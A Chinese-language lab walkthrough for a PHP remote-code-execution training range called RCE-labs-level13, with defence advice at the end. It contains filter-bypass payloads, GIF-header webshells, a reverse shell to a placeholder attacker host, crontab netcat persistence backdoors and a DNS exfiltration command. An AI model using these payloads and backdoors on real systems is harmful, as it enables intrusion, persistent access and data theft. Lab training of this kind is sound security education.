1. 项目背景与目标
RCE-labs-level13是一个专门用于训练远程代码执行(RCE)漏洞挖掘与利用的靶场环境。作为网络安全学习路径中的重要一环,它模拟了真实Web应用中常见的代码执行漏洞场景,特别适合有一定基础的渗透测试学习者进行实战演练。
这个靶场的设计初衷是帮助安全研究人员:
- 理解RCE漏洞的产生原理
- 掌握不同场景下的漏洞利用技巧
- 学习防御和修复这类高危漏洞的方法
Level13通常代表该系列靶场中较高难度的挑战,可能涉及:
- 非常规的代码执行方式
- 多重过滤机制的绕过
- 受限环境下的利用技巧
2. 环境准备与基础配置
2.1 靶场部署方案
推荐使用以下两种方式搭建实验环境:
- Docker一键部署(适合快速开始):
docker pull vulhub/upload-labs docker run -d -p 8080:80 vulhub/upload-labs- 本地环境搭建(适合深度研究):
- 需要准备:
- PHP 7.0+环境
- Apache/Nginx服务器
- 基础数据库(MySQL/MariaDB)
- 配置要点:
- 确保allow_url_include=On
- 关闭不必要的危险函数(如disable_functions)
- 设置合适的文件权限
注意:建议在虚拟机或隔离环境中运行靶场,避免对真实系统造成影响。
2.2 必要工具准备
进行RCE漏洞测试需要以下核心工具集:
| 工具类别 | 推荐工具 | 主要用途 |
|---|---|---|
| 代理拦截 | Burp Suite | 请求修改与重放 |
| 编码工具 | CyberChef | 各种Payload编码转换 |
| 漏洞利用 | Metasploit | 生成利用代码 |
| 文件传输 | Netcat | 建立反向Shell |
| 调试分析 | Xdebug | PHP代码调试 |
3. RCE漏洞原理深度解析
3.1 漏洞形成机制
远程代码执行漏洞通常源于以下场景:
危险函数调用:
eval()直接执行字符串代码system()/exec()执行系统命令preg_replace()的/e修饰符
文件包含漏洞:
include/require动态加载- 日志文件注入
- 临时文件利用
反序列化漏洞:
unserialize()触发魔术方法- POP链构造
3.2 Level13的特殊过滤机制
根据同类靶场设计模式,Level13可能设置了以下防护:
关键词过滤:
- 黑名单:
system,exec,passthru等 - 特殊字符:
$,{,},'等
- 黑名单:
执行环境限制:
- 禁用危险函数
- 开启safe_mode
- 限制文件写入权限
输入验证机制:
- 严格的内容类型检查
- 文件头校验
- 内容特征检测
4. 漏洞利用实战步骤
4.1 初步信息收集
确定注入点:
- 测试所有用户输入参数
- 检查文件上传功能
- 分析Cookie和HTTP头
探测过滤规则:
- 尝试基础Payload:
<?php phpinfo();?> - 测试各种编码方式:
- Base64
- URL编码
- Hex编码
- 尝试基础Payload:
环境信息获取:
- 通过
phpinfo()查看配置 - 检查可写目录
- 确认网络连通性
- 通过
4.2 无字符RCE绕过技术
当常规字符被过滤时,可尝试以下方法:
- 异或绕过:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);- 取反绕过:
$__=('>'>'<')+('>'>'<'); // $__=2; $_=$__/$__; // $_=1; $____=''; $____.=$_.$_++; // '1' $____.=$_.$_++; // '12' $____.=$_.$_++; // '123' // 最终可构造任意数字- 自增技巧:
$_=[]; $_=@"$_"; // Array $_=$_['!'=='@']; // A $___=$_++; // B $____=$_++; // C // 通过自增可得到所有字母4.3 文件上传结合RCE
当直接代码执行被拦截时,可尝试文件上传+包含的组合攻击:
- 制作特殊图片马:
echo '<?php system($_GET["cmd"]);?>' >> normal.jpg- 二次渲染绕过:
- 分析目标图像处理逻辑
- 在EXIF数据中插入代码
- 利用IEND区块注入
- 条件竞争利用:
- 快速上传.php.临时文件
- 在删除前包含执行
5. 防御方案与修复建议
5.1 代码层防护
- 输入过滤:
// 白名单过滤示例 $allowed = ['jpg', 'png', 'gif']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)) { die('Invalid file type'); }- 函数替代方案:
- 用
htmlspecialchars()替代直接输出 - 使用
escapeshellarg()处理命令参数 - 选择安全的模板引擎
- 配置加固:
- php.ini设置:
disable_functions = exec,system,passthru...open_basedir限制目录allow_url_include = Off
5.2 架构层防护
- WAF规则配置:
- 拦截常见RCE特征:
eval(base64_decode(system(
- 运行环境隔离:
- 使用Docker容器
- 配置低权限用户
- 启用SELinux/AppArmor
- 日志监控:
- 记录所有文件操作
- 监控异常进程创建
- 设置敏感操作告警
6. 靶场通关实战记录
6.1 初始探测过程
- 发现文件上传接口,但限制.php扩展名
- 尝试修改Content-Type为image/jpeg被拦截
- 测试.htaccess文件上传失败
- 分析发现检查文件头信息
6.2 突破过滤的关键步骤
- 制作包含GIF89a头的webshell:
GIF89a <?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>- 使用Burp修改上传请求:
POST /upload.php HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="shell.gif" Content-Type: image/gif GIF89a <?php system($_GET['cmd']);?>- 利用文件包含漏洞执行:
http://target/include.php?file=uploads/shell.gif&cmd=id6.3 权限提升与维持
- 获取反向Shell:
# 攻击机监听 nc -lvnp 4444 # 靶机执行 bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'- 建立持久化后门:
# 写入计划任务 echo "* * * * * root nc -e /bin/bash attacker_ip 5555" >> /etc/crontab # 或者创建隐藏后门文件 mv /usr/bin/.ssh /usr/bin/.sshd echo '#!/bin/bash\n/bin/bash' > /usr/bin/.ssh chmod +x /usr/bin/.ssh7. 经验总结与技巧分享
在实际渗透测试中,遇到类似Level13的严格过滤环境时,我总结出以下实用技巧:
多维度编码测试:
- 尝试不同编码组合:UTF-7、UCS-2、HTML实体
- 使用动态属性名:
$_GET['a']vs${"_GET"}[a]
非常规执行路径:
- 利用
.user.ini的auto_prepend_file - 通过PHP流包装器:
php://filter/convert.base64-encode/resource=
- 利用
环境特性利用:
- Linux下
/proc/self/environ注入 - Windows下短文件名特性
- Linux下
日志污染技巧:
- 在User-Agent中注入代码
- 通过404页面记录Payload
盲注检测方法:
- 使用时间延迟:
sleep(5) - DNS外带数据:
nslookup $(whoami).attacker.com
- 使用时间延迟:
对于防御方,建议定期进行以下检查:
- 文件上传目录设置为不可执行
- 禁用不必要的PHP函数
- 对用户输入实施严格的类型和内容检查
- 保持系统和应用的最新补丁状态